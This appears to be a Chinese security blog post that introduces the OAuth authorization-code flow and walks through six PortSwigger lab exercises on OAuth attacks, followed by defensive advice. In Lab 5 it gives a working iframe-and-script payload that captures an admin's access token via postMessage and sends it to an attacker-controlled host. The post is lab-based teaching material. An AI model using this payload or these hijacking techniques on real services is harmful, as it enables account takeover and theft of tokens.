OAuth安全学习——流程篇

Posted by kuron3k0 on January 12, 2021

OAuth是如今一种比较流行的授权机制,虽然已经出现很久了,但是一直没有详细了解过攻击手法,今天就来学习一下。

OAuth简介

一个简单的图解,侵删

阮一峰大佬的博客说的挺清晰的了,这里就不细讲了,就用授权码的方式举一个OAuth实际应用的例子。

下面是一个用到GitHub OAuth的地方:https://sec.today

登陆成功,省去了重新注册的时间

看一下相关请求是什么,点击用GitHub登录后,从浏览器发起了第一个请求:https://sec.today/oauth/login/github/

重定向到GitHub进行登录:https://github.com/login/oauth/authorize?client_id=dad4bf1a56b861bac810&redirect_uri=https%3A%2F%2Fsec.today%2Foauth%2Fcomplete%2Fgithub%2F%3Fredirect_state%3DH2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw&state=H2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw&response_type=code

在GitHub登录完成后,返回授权码code,附在上一步填的redirect_uri后面:https://sec.today/oauth/complete/github/?redirect_state=H2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw&code=1c02c1234d182db57bd5&state=H2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw

最后,sec.today带着授权码拿到我们GitHub账号的信息,我们就用GitHub的身份完成了在sec.today上的登陆

PortSwigger靶场

【LAB 1】Authentication bypass via OAuth implicit flow

题目要求:在implicit形式的OAuth中进行认证绕过

implicit方式的所有操作都是在客户端完成,最后认证完成得到的access_token也是会返回到客户端,所以只需要把access_token绑定为任意需要操作的用户即可

点击登录

返回access_token

access_token和任意用户绑定

【LAB 2】Forced OAuth profile linking

题目要求:获取admin权限(admin已登录第三方应用,且会访问我们构造的任何链接)

所以很明显是要CSRF了,根据OAuth的流程可以知道,我们要做的就是用我们的OAuth信息去绑定admin的第三方应用的账号

首先先用我们自己的账号进行OAuth登录,可以看到返回了一个code,但这个时候要把这个请求拦截下来,构造完CSRF Payload后drop掉,然后让admin去访问

admin访问后,完成绑定。然后我们再以自己的账号做OAuth登录,即可得到admin权限

【LAB 3】OAuth account hijacking via redirect_uri

题目要求:获取admin权限(admin已登录OAuth服务,且会访问我们构造的任何链接)

构造CSRF Payloadredirect_uri设置为我们可控的地址

得到admincode,直接登录

admin权限

【LAB 4】Stealing OAuth access tokens via an open redirect

题目要求:获取adminapikeyadmin已登录OAuth服务,且会访问我们构造的任何链接)

这题跟上一题差不多,就是redirect_uri做了一些校验,然后OAuth用implicit模式了

redirect_uri不能任意指定了,试了几种方式似乎都不行,然后发现/post/next有重定向漏洞,且url路径检查可用/../绕过,这个问题解决;然后系统的access_token是放在url的fragment中的,所以我们的payload需要把它提取出来,最终结果如下:

admin访问后得到access_token

access_token拿到adminapikey

【LAB 5】Stealing OAuth access tokens via a proxy page

题目要求:获取adminapikeyadmin已登录OAuth服务,且会访问我们构造的任何链接)

url校验沿用了上一题的方式,然后重定向漏洞没有了。注意到评论的页面/post/comment/comment-form,有一个向父页面发送自己url的操作,所以如果我们可以让admin访问OAuth登录的链接,就会把access_token发到评论页面,然后评论页面就会把token传到我们的恶意父页面

构造payload

<iframe src="https://ac431f851f15ecdb807b43d102b500f3.web-security-academy.net/auth?client_id=j77c7udyz47s8jpf2mwu7&redirect_uri=https://acc41f8d1ff7ecd9800b438f009000bf.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
<script>
    window.addEventListener("message",function(e){
        var token=e.data.data;
        fetch("https://aca51ffb1f26ec2680814365018400cb.web-security-academy.net/"+btoa(token));
    },false);
</script>

接收到数据

解码得到token

【LAB 6】SSRF via OpenID dynamic client registration

题目要求:拿到AWS的SecretAccessKey

根据题目提示,访问/.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server/.well-known/jwks.json),得到客户端动态注册的链接

翻了下一些有SSRF可能的url参数,redirect_uri是本地触发的;jwks_uri是服务端取秘钥的,应该不存在返回信息给我们的情况;剩下的logo_uri最有可能

注册完后进行Openid登录,看到果然有一个图片,而且明显内容不是本地请求的

得到SecretAccessKey

题目还提到Openid请求中,有的provider是可以让client提供一个request_uri自己去取参数的(request_uri_parameter_supportedtrue),如果没做校验的话,也是会导致SSRF

形式如下

防御

OAuth服务提供者需要让第三方应用提供url的白名单、用state等参数防止类CSRF攻击、确认最后请求的scope是跟最开始的请求是一致的

第三方应用也要用state防止CSRF、注意code通过Referer泄漏,此外移动端、桌面应用可能会包含client_secret,所以需要PKCEcode进行保护

ietf的草稿中还提到了一些其他的攻击场景,像PKCE downgrade attack307 redirection等等,有合适的机会再研究一下

参考